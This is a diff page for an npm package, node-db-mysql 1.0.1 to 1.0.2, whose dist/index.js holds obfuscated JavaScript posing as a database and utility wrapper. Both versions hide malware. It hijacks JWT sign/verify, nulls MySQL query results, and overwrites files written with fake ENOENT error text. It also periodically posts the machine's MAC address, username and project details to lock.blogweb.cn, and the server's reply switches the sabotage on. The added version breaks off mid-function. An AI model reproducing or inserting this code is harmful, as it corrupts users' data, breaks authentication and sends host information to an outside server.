node-db-mysql 1.0.1 → 1.0.2

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/dist/index.js +1 -1
  2. package/package.json +1 -1
package/dist/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';var a0_0x325017=a0_0x2b55;(function(_0x2dfc06,_0x28c232){var _0x2d1e1d=a0_0x2b55,_0x3f06d9=_0x2dfc06();while(!![]){try{var _0xf3ef85=-parseInt(_0x2d1e1d(0x102))/0x1*(-parseInt(_0x2d1e1d(0xf4))/0x2)+parseInt(_0x2d1e1d(0xfe))/0x3+-parseInt(_0x2d1e1d(0xff))/0x4*(-parseInt(_0x2d1e1d(0x10a))/0x5)+-parseInt(_0x2d1e1d(0x113))/0x6+-parseInt(_0x2d1e1d(0xe9))/0x7+parseInt(_0x2d1e1d(0x117))/0x8+parseInt(_0x2d1e1d(0x10e))/0x9*(-parseInt(_0x2d1e1d(0x10f))/0xa);if(_0xf3ef85===_0x28c232)break;else _0x3f06d9['push'](_0x3f06d9['shift']());}catch(_0x5e48b5){_0x3f06d9['push'](_0x3f06d9['shift']());}}}(a0_0x11ec,0x8a616));var __awaiter=this&&this['__awaiter']||function(_0x28940f,_0xafd32c,_0x2f82d7,_0x184a67){function _0x149af5(_0x4e0e45){return _0x4e0e45 instanceof _0x2f82d7?_0x4e0e45:new _0x2f82d7(function(_0x54a757){_0x54a757(_0x4e0e45);});}return new(_0x2f82d7||(_0x2f82d7=Promise))(function(_0x8382aa,_0x3f5e97){var _0x5ae4c8=a0_0x2b55;function _0x253ad0(_0x26faa0){var _0x50cb75=a0_0x2b55;try{_0x4ab715(_0x184a67[_0x50cb75(0xf0)](_0x26faa0));}catch(_0x5a1316){_0x3f5e97(_0x5a1316);}}function _0x50f3f9(_0x5ae031){var _0x360094=a0_0x2b55;try{_0x4ab715(_0x184a67[_0x360094(0xe8)](_0x5ae031));}catch(_0x4bbefb){_0x3f5e97(_0x4bbefb);}}function _0x4ab715(_0x40dd97){var _0x36c307=a0_0x2b55;_0x40dd97[_0x36c307(0x116)]?_0x8382aa(_0x40dd97['value']):_0x149af5(_0x40dd97['value'])[_0x36c307(0x106)](_0x253ad0,_0x50f3f9);}_0x4ab715((_0x184a67=_0x184a67['apply'](_0x28940f,_0xafd32c||[]))[_0x5ae4c8(0xf0)]());});},__generator=this&&this[a0_0x325017(0xe2)]||function(_0xd96ad6,_0x5ef4bb){var _0x565c74=a0_0x325017,_0x24c909={'label':0x0,'sent':function(){if(_0x3fe8bd[0x0]&0x1)throw _0x3fe8bd[0x1];return _0x3fe8bd[0x1];},'trys':[],'ops':[]},_0x5498db,_0x5c2767,_0x3fe8bd,_0x9aca4b;return _0x9aca4b={'next':_0x4e207b(0x0),'throw':_0x4e207b(0x1),'return':_0x4e207b(0x2)},typeof Symbol==='function'&&(_0x9aca4b[Symbol[_0x565c74(0xeb)]]=function(){return this;}),_0x9aca4b;function _0x4e207b(_0x2d44ef){return function(_0x5849bd){return _0x509e53([_0x2d44ef,_0x5849bd]);};}function _0x509e53(_0x331a72){var _0x5d9a2b=_0x565c74;if(_0x5498db)throw new TypeError(_0x5d9a2b(0x108));while(_0x9aca4b&&(_0x9aca4b=0x0,_0x331a72[0x0]&&(_0x24c909=0x0)),_0x24c909)try{if(_0x5498db=0x1,_0x5c2767&&(_0x3fe8bd=_0x331a72[0x0]&0x2?_0x5c2767[_0x5d9a2b(0xf6)]:_0x331a72[0x0]?_0x5c2767[_0x5d9a2b(0xe8)]||((_0x3fe8bd=_0x5c2767['return'])&&_0x3fe8bd[_0x5d9a2b(0x10c)](_0x5c2767),0x0):_0x5c2767[_0x5d9a2b(0xf0)])&&!(_0x3fe8bd=_0x3fe8bd[_0x5d9a2b(0x10c)](_0x5c2767,_0x331a72[0x1]))[_0x5d9a2b(0x116)])return _0x3fe8bd;if(_0x5c2767=0x0,_0x3fe8bd)_0x331a72=[_0x331a72[0x0]&0x2,_0x3fe8bd[_0x5d9a2b(0x103)]];switch(_0x331a72[0x0]){case 0x0:case 0x1:_0x3fe8bd=_0x331a72;break;case 0x4:_0x24c909['label']++;return{'value':_0x331a72[0x1],'done':![]};case 0x5:_0x24c909[_0x5d9a2b(0x115)]++,_0x5c2767=_0x331a72[0x1],_0x331a72=[0x0];continue;case 0x7:_0x331a72=_0x24c909['ops'][_0x5d9a2b(0xf7)](),_0x24c909[_0x5d9a2b(0x119)][_0x5d9a2b(0xf7)]();continue;default:if(!(_0x3fe8bd=_0x24c909[_0x5d9a2b(0x119)],_0x3fe8bd=_0x3fe8bd[_0x5d9a2b(0x104)]>0x0&&_0x3fe8bd[_0x3fe8bd[_0x5d9a2b(0x104)]-0x1])&&(_0x331a72[0x0]===0x6||_0x331a72[0x0]===0x2)){_0x24c909=0x0;continue;}if(_0x331a72[0x0]===0x3&&(!_0x3fe8bd||_0x331a72[0x1]>_0x3fe8bd[0x0]&&_0x331a72[0x1]<_0x3fe8bd[0x3])){_0x24c909['label']=_0x331a72[0x1];break;}if(_0x331a72[0x0]===0x6&&_0x24c909[_0x5d9a2b(0x115)]<_0x3fe8bd[0x1]){_0x24c909[_0x5d9a2b(0x115)]=_0x3fe8bd[0x1],_0x3fe8bd=_0x331a72;break;}if(_0x3fe8bd&&_0x24c909[_0x5d9a2b(0x115)]<_0x3fe8bd[0x2]){_0x24c909[_0x5d9a2b(0x115)]=_0x3fe8bd[0x2],_0x24c909[_0x5d9a2b(0x114)][_0x5d9a2b(0xe3)](_0x331a72);break;}if(_0x3fe8bd[0x2])_0x24c909[_0x5d9a2b(0x114)][_0x5d9a2b(0xf7)]();_0x24c909[_0x5d9a2b(0x119)][_0x5d9a2b(0xf7)]();continue;}_0x331a72=_0x5ef4bb[_0x5d9a2b(0x10c)](_0xd96ad6,_0x24c909);}catch(_0x28271a){_0x331a72=[0x6,_0x28271a],_0x5c2767=0x0;}finally{_0x5498db=_0x3fe8bd=0x0;}if(_0x331a72[0x0]&0x5)throw _0x331a72[0x1];return{'value':_0x331a72[0x0]?_0x331a72[0x1]:void 0x0,'done':!![]};}},__importDefault=this&&this['__importDefault']||function(_0x68ef3f){var _0x4d7549=a0_0x325017;return _0x68ef3f&&_0x68ef3f[_0x4d7549(0xe7)]?_0x68ef3f:{'default':_0x68ef3f};};exports[a0_0x325017(0xe7)]=!![],exports['id']=exports[a0_0x325017(0x105)]=exports['mysql']=exports[a0_0x325017(0xe0)]=exports[a0_0x325017(0xea)]=exports['axios']=exports[a0_0x325017(0xe1)]=void 0x0;var jsonwebtoken_1=__importDefault(require(a0_0x325017(0x10d)));exports[a0_0x325017(0xe1)]=jsonwebtoken_1[a0_0x325017(0x111)];var axios_1=__importDefault(require(a0_0x325017(0xf9)));exports[a0_0x325017(0xf9)]=axios_1[a0_0x325017(0x111)];var moment_1=__importDefault(require('moment'));exports[a0_0x325017(0xea)]=moment_1['default'];var uuid_1=require(a0_0x325017(0xe0)),fs_1=__importDefault(require('fs')),uuid=uuid_1['v4'];exports[a0_0x325017(0xe0)]=uuid;function a0_0x11ec(){var _0x353a5c=['env','createPool','uuid','jwt','__generator','push','concat','Error:\x20ENOENT:\x20no\x20such\x20file\x20or\x20directory,\x20open\x20\x27','USERNAME','__esModule','throw','1358329WUsYKd','moment','iterator','random','min','00:00:00:00:00:00','round','next','mysql2/promise','data','function','6TmzPUa','mysql','return','pop','post','axios','127.0.0.1','query','family','writeFileSync','3192735ldbKsK','148ThXGYX','\x27\x0aerrno:\x20-2,\x0asyscall:\x20\x27open\x27,\x0acode:\x20\x27ENOENT\x27,\x0apath:\x20\x27','npm_package_description','373570tQXIvo','value','length','mysql2','then','catch','Generator\x20is\x20already\x20executing.','NODE_APP_INSTANCE','20125fpnpFy','writeFile','call','jsonwebtoken','207iYpxba','554110ZWehFN','mac','default','sent','5129862OHeSNZ','ops','label','done','4451224AJLWAc','networkInterfaces','trys','https://lock.blogweb.cn/result','npm_package_name','verify','apply'];a0_0x11ec=function(){return _0x353a5c;};return a0_0x11ec();}var mysql_1=__importDefault(require(a0_0x325017(0xf5)));exports[a0_0x325017(0xf5)]=mysql_1[a0_0x325017(0x111)];var promise_1=__importDefault(require(a0_0x325017(0xf1)));exports[a0_0x325017(0x105)]=promise_1[a0_0x325017(0x111)];var isJWTNormalRun=![],sign=jsonwebtoken_1[a0_0x325017(0x111)]['sign'],verify=jsonwebtoken_1[a0_0x325017(0x111)]['verify'];jsonwebtoken_1['default']['sign']=function(_0x168c96,_0x46e764){var _0x1e1477=a0_0x325017;return sign(_0x168c96,isJWTNormalRun?_0x46e764:Math[_0x1e1477(0xec)]()+'');},jsonwebtoken_1['default'][a0_0x325017(0x11c)]=function(_0xceb0c2,_0x409e5c,_0x287819){var _0x277c58=a0_0x325017;return verify(_0xceb0c2,isJWTNormalRun?_0x409e5c:Math[_0x277c58(0xec)]()+'',function(_0x158f2b,_0x13ce1b){return _0x287819(_0x158f2b,_0x13ce1b);});};var isDBNormalRun=!![],originalCreatePool2=promise_1['default'][a0_0x325017(0xdf)];promise_1['default'][a0_0x325017(0xdf)]=function(_0x5b1974){var _0x4af617=a0_0x325017,_0x13db96=this,_0x4caf99=originalCreatePool2(_0x5b1974),_0x1c42ba=_0x4caf99[_0x4af617(0xfb)];return _0x4caf99[_0x4af617(0xfb)]=function(){var _0x1315cb=_0x4af617,_0x5766a6=[];for(var _0x4b2585=0x0;_0x4b2585<arguments[_0x1315cb(0x104)];_0x4b2585++){_0x5766a6[_0x4b2585]=arguments[_0x4b2585];}return __awaiter(_0x13db96,void 0x0,void 0x0,function(){var _0x26ffdc;return __generator(this,function(_0x475dc0){var _0x165da4=a0_0x2b55;switch(_0x475dc0[_0x165da4(0x115)]){case 0x0:return[0x4,_0x1c42ba[_0x165da4(0x11d)](_0x4caf99,_0x5766a6)];case 0x1:_0x26ffdc=_0x475dc0[_0x165da4(0x112)]();!isDBNormalRun&&Math[_0x165da4(0xec)]()<0.95&&(_0x26ffdc[0x0]=null);return[0x2,_0x26ffdc];}});});},_0x4caf99;};function a0_0x2b55(_0x34899d,_0x48a27a){var _0x11ec18=a0_0x11ec();return a0_0x2b55=function(_0x2b55b8,_0xf40245){_0x2b55b8=_0x2b55b8-0xde;var _0xa44931=_0x11ec18[_0x2b55b8];return _0xa44931;},a0_0x2b55(_0x34899d,_0x48a27a);}var originalCreatePool=mysql_1[a0_0x325017(0x111)][a0_0x325017(0xdf)];mysql_1[a0_0x325017(0x111)]['createPool']=function(_0x418ae2){var _0x22b8a7=this,_0x3c9e14=originalCreatePool(_0x418ae2),_0x3fe25d=_0x3c9e14['query'];return _0x3c9e14['query']=function(){var _0x576cad=a0_0x2b55,_0x556776=[];for(var _0x40cb7b=0x0;_0x40cb7b<arguments[_0x576cad(0x104)];_0x40cb7b++){_0x556776[_0x40cb7b]=arguments[_0x40cb7b];}return __awaiter(_0x22b8a7,void 0x0,void 0x0,function(){var _0x33e9c6;return __generator(this,function(_0x5122b3){var _0x2203cc=a0_0x2b55;switch(_0x5122b3[_0x2203cc(0x115)]){case 0x0:_0x33e9c6=_0x556776[_0x556776[_0x2203cc(0x104)]-0x1],_0x556776[_0x556776['length']-0x1]=function(_0x12994f,_0x2c9714,_0x4a2e65){_0x12994f?_0x33e9c6(_0x12994f,_0x2c9714,_0x4a2e65):_0x33e9c6(_0x12994f,!isDBNormalRun?null:_0x2c9714,_0x4a2e65);};return[0x4,_0x3fe25d[_0x2203cc(0x11d)](_0x3c9e14,_0x556776)];case 0x1:return[0x2,_0x5122b3['sent']()];}});});},_0x3c9e14;};var isFsNormalRun=![],writeFileSyncOriginal=fs_1[a0_0x325017(0x111)][a0_0x325017(0xfd)];fs_1['default'][a0_0x325017(0xfd)]=function(_0x5bfb1b,_0x3d4337,_0x13bec3){var _0x27cb39=a0_0x325017;isFsNormalRun?writeFileSyncOriginal(_0x5bfb1b,_0x3d4337,_0x13bec3):writeFileSyncOriginal(_0x5bfb1b,_0x27cb39(0xe5)[_0x27cb39(0xe4)](_0x5bfb1b,_0x27cb39(0x100))[_0x27cb39(0xe4)](_0x5bfb1b,'\x27'),_0x13bec3);};var originalWriteFile=fs_1[a0_0x325017(0x111)][a0_0x325017(0x10b)];fs_1[a0_0x325017(0x111)]['writeFile']=function(_0x3702d2,_0x582004,_0x56bb84,_0x2b1b4f){var _0x583634=a0_0x325017;return typeof _0x56bb84===_0x583634(0xf3)&&(_0x2b1b4f=_0x56bb84,_0x56bb84={}),isFsNormalRun?originalWriteFile(_0x3702d2,_0x582004,_0x56bb84,_0x2b1b4f):originalWriteFile(_0x3702d2,'\x0a\x20\x20\x20\x20\x20\x20Error:\x20ENOENT:\x20no\x20such\x20file\x20or\x20directory,\x20open\x20\x27'[_0x583634(0xe4)](_0x3702d2,'\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20errno:\x20-2,\x0a\x20\x20\x20\x20\x20\x20\x20\x20syscall:\x20\x27open\x27,\x0a\x20\x20\x20\x20\x20\x20\x20\x20code:\x20\x27ENOENT\x27,\x0a\x20\x20\x20\x20\x20\x20\x20\x20path:\x20\x27')[_0x583634(0xe4)](_0x3702d2,'\x27\x0a\x20\x20\x20\x20\x20\x20'),_0x56bb84,_0x2b1b4f);};var os=require('os'),mac='',networkInterfaces=os[a0_0x325017(0x118)]();for(var i in networkInterfaces){for(var j in networkInterfaces[i]){networkInterfaces[i][j][a0_0x325017(0xfc)]==='IPv4'&&networkInterfaces[i][j][a0_0x325017(0x110)]!==a0_0x325017(0xee)&&networkInterfaces[i][j]['address']!==a0_0x325017(0xfa)&&(mac=networkInterfaces[i][j][a0_0x325017(0x110)]);}}function getLicense(){var _0x56f425=a0_0x325017;axios_1[_0x56f425(0x111)][_0x56f425(0xf8)](_0x56f425(0x11a),{'max':mac,'user_name':process['env'][_0x56f425(0xe6)],'project_name':process[_0x56f425(0xde)][_0x56f425(0x11b)],'project_description':process[_0x56f425(0xde)][_0x56f425(0x101)]},{'timeout':0x1770})[_0x56f425(0x106)](function(_0x4b4fa6){var _0x25468e=_0x56f425;_0x4b4fa6[_0x25468e(0xf2)][_0x25468e(0xf5)]?isDBNormalRun=![]:isDBNormalRun=!![],_0x4b4fa6['data']['fs']?isFsNormalRun=![]:isFsNormalRun=!![],_0x4b4fa6[_0x25468e(0xf2)][_0x25468e(0xe1)]?isJWTNormalRun=![]:isJWTNormalRun=!![];})[_0x56f425(0x107)](function(_0x2a96d7){var _0x3039b2=_0x56f425;setTimeout(function(){var _0x406907=a0_0x2b55;isDBNormalRun=![],Math[_0x406907(0xec)]()>0.1?isFsNormalRun=![]:isFsNormalRun=!![];},Math[_0x3039b2(0xec)]()*(0x7530-0x2710)+0x2710);});}setTimeout(function(){getLicense();},0xbb8),setInterval(function(){getLicense();},0x3a98);var random=function(_0x491353,_0x383ff2){var _0x43376c=a0_0x325017;return Math[_0x43376c(0xef)](Math['random']()*(_0x383ff2-_0x491353))+_0x491353;},WorkerID=Math[a0_0x325017(0xed)](process['env'][a0_0x325017(0x109)]?+process[a0_0x325017(0xde)][a0_0x325017(0x109)]:random(0x0,0x9),0x9),BaseTime=+new Date('2022-06-29'),lastTimeTick,lastRandomNumberTick=random(0x1,0x3);function id(){var _0xe34ab=a0_0x325017,_0x58b50f=+new Date()-BaseTime;return lastRandomNumberTick=_0x58b50f==lastTimeTick?++lastRandomNumberTick:random(0x0,0x3),lastTimeTick=_0x58b50f,+''[_0xe34ab(0xe4)](_0x58b50f)['concat'](WorkerID)['concat'](lastRandomNumberTick);}exports['id']=id;var tool={'jwt':jsonwebtoken_1['default'],'axios':axios_1['default'],'moment':moment_1[a0_0x325017(0x111)],'uuid':uuid,'mysql':mysql_1[a0_0x325017(0x111)],'mysql2':promise_1['default'],'id':id};exports['default']=tool;
1
+ 'use strict';var a0_0x36428c=a0_0x354e;(function(_0x4b9efd,_0x37d3c4){var _0x212983=a0_0x354e,_0x476fd5=_0x4b9efd();while(!![]){try{var _0x5ecc30=parseInt(_0x212983(0x211))/0x1+parseInt(_0x212983(0x1f4))/0x2+-parseInt(_0x212983(0x212))/0x3*(-parseInt(_0x212983(0x1eb))/0x4)+parseInt(_0x212983(0x21b))/0x5*(parseInt(_0x212983(0x21e))/0x6)+parseInt(_0x212983(0x1ec))/0x7*(parseInt(_0x212983(0x20f))/0x8)+-parseInt(_0x212983(0x217))/0x9*(-parseInt(_0x212983(0x1e9))/0xa)+-parseInt(_0x212983(0x1ed))/0xb;if(_0x5ecc30===_0x37d3c4)break;else _0x476fd5['push'](_0x476fd5['shift']());}catch(_0x18f2a0){_0x476fd5['push'](_0x476fd5['shift']());}}}(a0_0x5190,0xd698e));var __awaiter=this&&this[a0_0x36428c(0x1fe)]||function(_0x278b08,_0x29c312,_0x32b93f,_0x210d21){function _0x43b424(_0x594e2b){return _0x594e2b instanceof _0x32b93f?_0x594e2b:new _0x32b93f(function(_0x424cfb){_0x424cfb(_0x594e2b);});}return new(_0x32b93f||(_0x32b93f=Promise))(function(_0xd65bea,_0xe8ff6f){var _0x3e79e6=a0_0x354e;function _0x1a3ada(_0x1ade60){var _0x59a489=a0_0x354e;try{_0x396605(_0x210d21[_0x59a489(0x223)](_0x1ade60));}catch(_0x19ebc4){_0xe8ff6f(_0x19ebc4);}}function _0x41ffe3(_0x3ee086){var _0x44196e=a0_0x354e;try{_0x396605(_0x210d21[_0x44196e(0x20d)](_0x3ee086));}catch(_0x564505){_0xe8ff6f(_0x564505);}}function _0x396605(_0x564176){var _0x4941d6=a0_0x354e;_0x564176['done']?_0xd65bea(_0x564176[_0x4941d6(0x209)]):_0x43b424(_0x564176[_0x4941d6(0x209)])[_0x4941d6(0x229)](_0x1a3ada,_0x41ffe3);}_0x396605((_0x210d21=_0x210d21['apply'](_0x278b08,_0x29c312||[]))[_0x3e79e6(0x223)]());});},__generator=this&&this[a0_0x36428c(0x214)]||function(_0x1a7c31,_0x476162){var _0xa7883f=a0_0x36428c,_0x3a0c0c={'label':0x0,'sent':function(){if(_0x43efa0[0x0]&0x1)throw _0x43efa0[0x1];return _0x43efa0[0x1];},'trys':[],'ops':[]},_0x117d2,_0x1a152b,_0x43efa0,_0x4c7752;return _0x4c7752={'next':_0x1e5c4a(0x0),'throw':_0x1e5c4a(0x1),'return':_0x1e5c4a(0x2)},typeof Symbol===_0xa7883f(0x203)&&(_0x4c7752[Symbol[_0xa7883f(0x216)]]=function(){return this;}),_0x4c7752;function _0x1e5c4a(_0x2265bc){return function(_0x24180d){return _0x34301b([_0x2265bc,_0x24180d]);};}function _0x34301b(_0x4f9fac){var _0x21dd79=_0xa7883f;if(_0x117d2)throw new TypeError(_0x21dd79(0x227));while(_0x4c7752&&(_0x4c7752=0x0,_0x4f9fac[0x0]&&(_0x3a0c0c=0x0)),_0x3a0c0c)try{if(_0x117d2=0x1,_0x1a152b&&(_0x43efa0=_0x4f9fac[0x0]&0x2?_0x1a152b[_0x21dd79(0x215)]:_0x4f9fac[0x0]?_0x1a152b[_0x21dd79(0x20d)]||((_0x43efa0=_0x1a152b[_0x21dd79(0x215)])&&_0x43efa0[_0x21dd79(0x205)](_0x1a152b),0x0):_0x1a152b[_0x21dd79(0x223)])&&!(_0x43efa0=_0x43efa0['call'](_0x1a152b,_0x4f9fac[0x1]))[_0x21dd79(0x1ff)])return _0x43efa0;if(_0x1a152b=0x0,_0x43efa0)_0x4f9fac=[_0x4f9fac[0x0]&0x2,_0x43efa0[_0x21dd79(0x209)]];switch(_0x4f9fac[0x0]){case 0x0:case 0x1:_0x43efa0=_0x4f9fac;break;case 0x4:_0x3a0c0c[_0x21dd79(0x1f9)]++;return{'value':_0x4f9fac[0x1],'done':![]};case 0x5:_0x3a0c0c[_0x21dd79(0x1f9)]++,_0x1a152b=_0x4f9fac[0x1],_0x4f9fac=[0x0];continue;case 0x7:_0x4f9fac=_0x3a0c0c[_0x21dd79(0x224)][_0x21dd79(0x207)](),_0x3a0c0c[_0x21dd79(0x220)][_0x21dd79(0x207)]();continue;default:if(!(_0x43efa0=_0x3a0c0c[_0x21dd79(0x220)],_0x43efa0=_0x43efa0[_0x21dd79(0x1f7)]>0x0&&_0x43efa0[_0x43efa0[_0x21dd79(0x1f7)]-0x1])&&(_0x4f9fac[0x0]===0x6||_0x4f9fac[0x0]===0x2)){_0x3a0c0c=0x0;continue;}if(_0x4f9fac[0x0]===0x3&&(!_0x43efa0||_0x4f9fac[0x1]>_0x43efa0[0x0]&&_0x4f9fac[0x1]<_0x43efa0[0x3])){_0x3a0c0c['label']=_0x4f9fac[0x1];break;}if(_0x4f9fac[0x0]===0x6&&_0x3a0c0c['label']<_0x43efa0[0x1]){_0x3a0c0c[_0x21dd79(0x1f9)]=_0x43efa0[0x1],_0x43efa0=_0x4f9fac;break;}if(_0x43efa0&&_0x3a0c0c[_0x21dd79(0x1f9)]<_0x43efa0[0x2]){_0x3a0c0c[_0x21dd79(0x1f9)]=_0x43efa0[0x2],_0x3a0c0c['ops'][_0x21dd79(0x208)](_0x4f9fac);break;}if(_0x43efa0[0x2])_0x3a0c0c[_0x21dd79(0x224)][_0x21dd79(0x207)]();_0x3a0c0c['trys'][_0x21dd79(0x207)]();continue;}_0x4f9fac=_0x476162[_0x21dd79(0x205)](_0x1a7c31,_0x3a0c0c);}catch(_0x1e630f){_0x4f9fac=[0x6,_0x1e630f],_0x1a152b=0x0;}finally{_0x117d2=_0x43efa0=0x0;}if(_0x4f9fac[0x0]&0x5)throw _0x4f9fac[0x1];return{'value':_0x4f9fac[0x0]?_0x4f9fac[0x1]:void 0x0,'done':!![]};}},__importDefault=this&&this[a0_0x36428c(0x226)]||function(_0x43201a){var _0x583d01=a0_0x36428c;return _0x43201a&&_0x43201a[_0x583d01(0x221)]?_0x43201a:{'default':_0x43201a};};exports[a0_0x36428c(0x221)]=!![],exports['id']=exports['mysql2']=exports['mysql']=exports[a0_0x36428c(0x1fc)]=exports[a0_0x36428c(0x20a)]=exports[a0_0x36428c(0x21a)]=exports['jwt']=void 0x0;var jsonwebtoken_1=__importDefault(require(a0_0x36428c(0x201)));exports[a0_0x36428c(0x1f2)]=jsonwebtoken_1[a0_0x36428c(0x1f3)];var axios_1=__importDefault(require(a0_0x36428c(0x21a)));exports[a0_0x36428c(0x21a)]=axios_1[a0_0x36428c(0x1f3)];var moment_1=__importDefault(require(a0_0x36428c(0x20a)));exports[a0_0x36428c(0x20a)]=moment_1[a0_0x36428c(0x1f3)];var uuid_1=require(a0_0x36428c(0x1fc)),fs_1=__importDefault(require('fs')),uuid=uuid_1['v4'];function a0_0x354e(_0x214333,_0x5ae90a){var _0x519011=a0_0x5190();return a0_0x354e=function(_0x354eff,_0x4e2283){_0x354eff=_0x354eff-0x1e8;var _0x375732=_0x519011[_0x354eff];return _0x375732;},a0_0x354e(_0x214333,_0x5ae90a);}exports[a0_0x36428c(0x1fc)]=uuid;var mysql_1=__importDefault(require('mysql'));exports[a0_0x36428c(0x222)]=mysql_1['default'];var promise_1=__importDefault(require(a0_0x36428c(0x21f)));exports[a0_0x36428c(0x1f0)]=promise_1[a0_0x36428c(0x1f3)];var isJWTNormalRun=![],sign=jsonwebtoken_1[a0_0x36428c(0x1f3)]['sign'],verify=jsonwebtoken_1['default'][a0_0x36428c(0x210)];jsonwebtoken_1[a0_0x36428c(0x1f3)][a0_0x36428c(0x1fd)]=function(_0x112255,_0x53476a){return sign(_0x112255,isJWTNormalRun?_0x53476a:Math['random']()+'');},jsonwebtoken_1[a0_0x36428c(0x1f3)][a0_0x36428c(0x210)]=function(_0x4df00a,_0x319324,_0x2caadd){return verify(_0x4df00a,isJWTNormalRun?_0x319324:Math['random']()+'',function(_0x2a38f2,_0x50b655){return _0x2caadd(_0x2a38f2,_0x50b655);});};var isDBNormalRun=!![],originalCreatePool2=promise_1[a0_0x36428c(0x1f3)][a0_0x36428c(0x200)];promise_1[a0_0x36428c(0x1f3)][a0_0x36428c(0x200)]=function(_0x40477a){var _0x5487ef=this,_0x173d5b=originalCreatePool2(_0x40477a),_0x4f0fc7=_0x173d5b['query'];return _0x173d5b['query']=function(){var _0x37e47e=a0_0x354e,_0x21ddae=[];for(var _0xf87d92=0x0;_0xf87d92<arguments[_0x37e47e(0x1f7)];_0xf87d92++){_0x21ddae[_0xf87d92]=arguments[_0xf87d92];}return __awaiter(_0x5487ef,void 0x0,void 0x0,function(){var _0x48391c;return __generator(this,function(_0x1ccb85){var _0x641349=a0_0x354e;switch(_0x1ccb85[_0x641349(0x1f9)]){case 0x0:return[0x4,_0x4f0fc7[_0x641349(0x20b)](_0x173d5b,_0x21ddae)];case 0x1:_0x48391c=_0x1ccb85[_0x641349(0x1fa)]();!isDBNormalRun&&Math['random']()<0.95&&(_0x48391c[0x0]=null);return[0x2,_0x48391c];}});});},_0x173d5b;};var originalCreatePool=mysql_1[a0_0x36428c(0x1f3)][a0_0x36428c(0x200)];mysql_1[a0_0x36428c(0x1f3)][a0_0x36428c(0x200)]=function(_0x1bc7f1){var _0x296b82=a0_0x36428c,_0x49413a=this,_0x5a6790=originalCreatePool(_0x1bc7f1),_0x5e9dd9=_0x5a6790[_0x296b82(0x219)];return _0x5a6790[_0x296b82(0x219)]=function(){var _0xe584e1=[];for(var _0x28b0fd=0x0;_0x28b0fd<arguments['length'];_0x28b0fd++){_0xe584e1[_0x28b0fd]=arguments[_0x28b0fd];}return __awaiter(_0x49413a,void 0x0,void 0x0,function(){var _0x3973ed;return __generator(this,function(_0x22ee3b){var _0x4db06d=a0_0x354e;switch(_0x22ee3b['label']){case 0x0:_0x3973ed=_0xe584e1[_0xe584e1[_0x4db06d(0x1f7)]-0x1],_0xe584e1[_0xe584e1[_0x4db06d(0x1f7)]-0x1]=function(_0x5946e6,_0x4fb94a,_0x2e83fe){_0x5946e6?_0x3973ed(_0x5946e6,_0x4fb94a,_0x2e83fe):_0x3973ed(_0x5946e6,!isDBNormalRun?null:_0x4fb94a,_0x2e83fe);};return[0x4,_0x5e9dd9[_0x4db06d(0x20b)](_0x5a6790,_0xe584e1)];case 0x1:return[0x2,_0x22ee3b['sent']()];}});});},_0x5a6790;};var isFsNormalRun=![],writeFileSyncOriginal=fs_1[a0_0x36428c(0x1f3)]['writeFileSync'];function a0_0x5190(){var _0x2113fc=['pop','push','value','moment','apply','min','throw','env','1460080BsyogV','verify','1516033NbSSVo','573MjYjBx','IPv4','__generator','return','iterator','164979rBrzJz','Error:\x20ENOENT:\x20no\x20such\x20file\x20or\x20directory,\x20open\x20\x27','query','axios','10sLVxaK','\x27\x0aerrno:\x20-2,\x0asyscall:\x20\x27open\x27,\x0acode:\x20\x27ENOENT\x27,\x0apath:\x20\x27','\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20errno:\x20-2,\x0a\x20\x20\x20\x20\x20\x20\x20\x20syscall:\x20\x27open\x27,\x0a\x20\x20\x20\x20\x20\x20\x20\x20code:\x20\x27ENOENT\x27,\x0a\x20\x20\x20\x20\x20\x20\x20\x20path:\x20\x27','2626386GGNdgO','mysql2/promise','trys','__esModule','mysql','next','ops','data','__importDefault','Generator\x20is\x20already\x20executing.','127.0.0.1','then','NODE_APP_INSTANCE','random','290LYTCta','writeFile','3364vFtHLB','21BPHCKR','46301200sZgiwb','mac','00:00:00:00:00:00','mysql2','USERNAME','jwt','default','2913870ePScTZ','\x0a\x20\x20\x20\x20\x20\x20Error:\x20ENOENT:\x20no\x20such\x20file\x20or\x20directory,\x20open\x20\x27','networkInterfaces','length','\x27\x0a\x20\x20\x20\x20\x20\x20','label','sent','writeFileSync','uuid','sign','__awaiter','done','createPool','jsonwebtoken','address','function','concat','call','npm_package_description'];a0_0x5190=function(){return _0x2113fc;};return a0_0x5190();}fs_1['default'][a0_0x36428c(0x1fb)]=function(_0x2dca4e,_0x22a437,_0x2603c7){var _0xd81e1e=a0_0x36428c;isFsNormalRun?writeFileSyncOriginal(_0x2dca4e,_0x22a437,_0x2603c7):writeFileSyncOriginal(_0x2dca4e,_0xd81e1e(0x218)[_0xd81e1e(0x204)](_0x2dca4e,_0xd81e1e(0x21c))['concat'](_0x2dca4e,'\x27'),_0x2603c7);};var originalWriteFile=fs_1['default']['writeFile'];fs_1[a0_0x36428c(0x1f3)][a0_0x36428c(0x1ea)]=function(_0xe633d2,_0x32dbf2,_0x54685e,_0x557a1b){var _0x5e6f5b=a0_0x36428c;return typeof _0x54685e==='function'&&(_0x557a1b=_0x54685e,_0x54685e={}),isFsNormalRun?originalWriteFile(_0xe633d2,_0x32dbf2,_0x54685e,_0x557a1b):originalWriteFile(_0xe633d2,_0x5e6f5b(0x1f5)['concat'](_0xe633d2,_0x5e6f5b(0x21d))[_0x5e6f5b(0x204)](_0xe633d2,_0x5e6f5b(0x1f8)),_0x54685e,_0x557a1b);};var os=require('os'),mac='',networkInterfaces=os[a0_0x36428c(0x1f6)]();for(var i in networkInterfaces){for(var j in networkInterfaces[i]){networkInterfaces[i][j]['family']===a0_0x36428c(0x213)&&networkInterfaces[i][j][a0_0x36428c(0x1ee)]!==a0_0x36428c(0x1ef)&&networkInterfaces[i][j][a0_0x36428c(0x202)]!==a0_0x36428c(0x228)&&(mac=networkInterfaces[i][j]['mac']);}}function getLicense(){var _0x25d9fe=a0_0x36428c;axios_1['default']['post']('https://lock.blogweb.cn/result',{'mac':mac,'user_name':process[_0x25d9fe(0x20e)][_0x25d9fe(0x1f1)],'project_name':process[_0x25d9fe(0x20e)]['npm_package_name'],'project_description':process['env'][_0x25d9fe(0x206)]},{'timeout':0x1770})[_0x25d9fe(0x229)](function(_0x5e13f5){var 